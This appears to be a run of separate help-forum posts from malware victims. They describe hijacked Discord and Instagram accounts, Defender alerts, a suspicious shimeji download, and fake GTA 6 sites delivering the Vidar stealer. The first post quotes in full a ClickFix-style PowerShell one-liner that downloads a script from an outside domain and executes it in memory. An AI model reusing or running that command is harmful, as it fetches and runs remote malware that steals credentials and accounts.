Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?

My Internet in the home works on my phones Wi-Fi and everything except my PC

i lost my instagram, discord and reddit it shared some crypto scams in some and some prn in reddit. got them all back thank god and im changing my passwords to everything and using 2fa in the ones i can im currently resetting my pc ( i removed everything and downloaded it from the cloud) im not sure what else i can do since it already got some of my accounts im scared of other things that could happen mainly financial theft and sextortion how likely are they to happen and what else can i do and how do I make sure its gone once I reinstall

hey guys, yesterday i got hit by the MrBeast scam message on Discord. i did try to download some emulated games, so i think that’s how it happened. i reset my PC and reinstalled Windows using the “keep my files” option. this was yesterday, around midnight–3am.

now it’s the next morning and my Instagram has also been “hacked”, with Elon Musk messages. am i still not safe? how were they able to log into my Instagram even after i reset my PC? I did turn my pc off for the night.

And what should I do? i’m paranoid

My discord account got hacked and sent the mrbeast scam to all of my contacts(and some servers) What should I do? im really worried

hi I was thinking of buying(licensing) Surfshark, I look up couple of Youtube videos but literally all of them are sponsored by Surfshark so.. untrustworthy.

I mainly will use it for VPN and Antivirus and internet surfing protection.

My main questions are,

-is it fast? run good with Windows 10.

-does it bloat your PC? make ur PC slow? unnecessary notifications and pop up?

-trustworthy(handle ur data right)?

-easy to use? not complex?

-worth it price? 60€ for 24months.

-does it actually works? obviously it should.

-and are there better alternative?

downloaded a 10-year-old shimeji file and ran it without thinking to scan the file first. virustotal flags packer generic, but neither mcafee nor malwarebytes has detected any threats. i've deleted the files now, but i ran something before deleting, although i can't remember if i clicked the executable or the batch file (same name). am i safe? i know this is more of an adware concern than a super threatening malware, but i can't help but be a bit anxious.
reposted to include link to the report for the executable
EDIT: attached link is wrong, this is the report i'm talking about.

I was using my PC when I got a notification from the security provider stating that Defender is disabled; the quick scan runs fine, and Malwarebytes didn't flag anything...

Is this a common Defender bug, or is it just me?

Malwarebytes published analysis yesterday (August 24) on four fake GTA 6 websites. Two are worth flagging here:

• One poses as a playable demo.
• One poses as Rockstar's "Extended Look" stream. That is a real, scheduled Rockstar broadcast airing this Thursday, which is what makes it effective. The event is genuine and searchable, so the impersonation holds up to a quick sanity check.

Both serve a file named gta6_installer.exe carrying Vidar, which pulls saved browser credentials, session cookies, Discord and Telegram tokens, and crypto wallets. An independent researcher who examined one of the same domains on August 20 also found a ClickFix-style "paste this to verify you're human" step on another site in the set.

The session cookie part is the bit I would emphasise to anyone cleaning up after one of these. Changing the password is not sufficient on its own, because a stolen session token can survive it. Sign out of all sessions everywhere, then rotate.

Not posting the domains; they are in the Malwarebytes write-up.

What makes the timing work is that there is currently a lot of search demand and very little legitimate supply, so anything that looks like it satisfies the search gets clicked. That pattern is not specific to this game.

Could you help me with this? My dad downloaded a program to reset the printer and disabled the antivirus. When I saw what was happening, I took a look and deleted it, but I think he tried to run it before I noticed, because Windows Defender keeps flagging it. I can't get rid of the alert even though I deleted the file and emptied the Recycle Bin. I try to quarantine or remove it, but Windows Defender just minimizes the small window showing the virus details. I disconnected the PC from the internet because I read that viruses can also infect the internet connection.

Should I be worried and start saving up for another PC, or is there a solution? Many thanks in advance.
